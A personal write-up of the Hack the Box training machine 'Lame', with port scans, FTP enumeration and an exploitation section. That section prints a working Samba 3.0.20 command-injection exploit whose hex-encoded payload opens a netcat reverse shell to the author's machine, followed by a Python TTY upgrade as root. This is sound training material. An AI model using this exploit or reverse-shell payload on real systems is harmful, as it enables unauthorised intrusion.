OSCP-like boxes
  • Introduction
  • Linux Boxes
    • Lame
    • Shocker
    • Bashed
  • Windows Boxes
    • Legacy
  • Harder than OSCP - Windows
    • COMING SOON
  • Harder than OSCP - Linux
    • COMING SOON
  • Misc
    • Handy Commands
Powered by GitBook
On this page
  • Overview
  • Scanning
  • Exploitation
  • Takeaways

Was this helpful?

  1. Linux Boxes

Lame

This is a write-up on how I solved Lame from Hack the Box.

PreviousIntroductionNextShocker

Last updated 4 years ago

Was this helpful?

Overview

Scanning

Scanning for open ports using masscan:

sudo masscan -p1-65535,U:1-65535 10.10.10.3 --rate=1000 -e tun0

Open ports are the following:

Discovered open port 21/tcp on 10.10.10.3                                      
Discovered open port 139/tcp on 10.10.10.3                                     
Discovered open port 22/tcp on 10.10.10.3                                      
Discovered open port 3632/tcp on 10.10.10.3                                    
Discovered open port 445/tcp on 10.10.10.3

I then ran a version and default scripts scan on the open ports:

sudo nmap -sV -sC -oA nmap/Lame 10.10.10.3 -p 21,139,22,3632,445
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.7
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -3d00h56m48s, deviation: 2h49m45s, median: -3d02h56m50s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2020-06-25T21:19:31-04:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

FTP

Checking the FTP service, it seems there are no files.

Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:sif0): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        65534        4096 Mar 17  2010 .
drwxr-xr-x    2 0        65534        4096 Mar 17  2010 ..
226 Directory send OK.

To connect as the anonymous user in FTP, use the username: anonymous. For the password, basically anything will do(just not blank). Although from what I remember, the password should be an email address.

Checking also for the version of the FTP service(vsFTPD 2.3.4) for existing vulnerabilities using searchsploit:

--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                               |  Path
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                       | unix/remote/17491.rb
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Exploitation

Samba

#!/usr/bin/python3
#exploit Samba smbd 3.0.20-Debian

from smb import *
from smb.SMBConnection import *

#msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.5 LPORT=1337 -f python
buf =  ""
buf += "\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x6d"
buf += "\x68\x63\x6d\x3b\x20\x6e\x63\x20\x31\x30\x2e\x31\x30"
buf += "\x2e\x31\x34\x2e\x35\x20\x31\x33\x33\x37\x20\x30\x3c"
buf += "\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d\x20\x7c\x20\x2f"
buf += "\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70\x2f"
buf += "\x6d\x68\x63\x6d\x20\x32\x3e\x26\x31\x3b\x20\x72\x6d"
buf += "\x20\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d"

userID = "/=` nohup " + buf + "`"
password = 'password'
victim_ip = '10.10.10.3'

conn = SMBConnection(userID, password, "HELLO", "TEST", use_ntlm_v2=False)
conn.connect(victim_ip, 445)

From the POC, the shell code was generated using msfvenom. Changing the values of LHOST to my IP and changing the shellcode, I execute the exploit and I get a shell as root:

I then upgrade my shell by getting a proper TTY using Python:

python -c 'import pty;pty.spawn("/bin/bash")'
root@lame:/#

Since I am running as root, I try to look for root.txt and user.txt:


root@lame:/# ls -al /root/root.txt
ls -al /root/root.txt
-rw------- 1 root root 33 Mar 14  2017 /root/root.txt

root@lame:/# ls -alR /home | grep user.txt
ls -alR /home | grep user.txt
-rw-r--r-- 1 makis makis   33 Mar 14  2017 user.txt

I tried the vsFTPd exploit after solving the box. It did not work even if the version is vulnerable. The box must have been configured(like blocking external connections to port 6200, which is the backdoor port) for it to not work.

Takeaways

  • Do not directly exploit something that you might think be vulnerable. It is better if you enumerate everything before trying out an exploit.

  • Read the exploit code you found and make the necessary changes.

There is one exploit, but is a Metasploit module. I found one POC exploit from the internet: . But before I try the exploit, its good to enumerate other services first.

Checking against Google the versions of the Samba protocol, it seems it has lots of vulnerabilities since the version is outdated. After looking for exploits, I found a recent POC:

https://github.com/ahervias77/vsftpd-2.3.4-exploit
https://github.com/macha97/exploit-smb-3.0.20/blob/master/exploit-smb-3.0.20.py
https://www.hackthebox.eu/home/machines/profile/1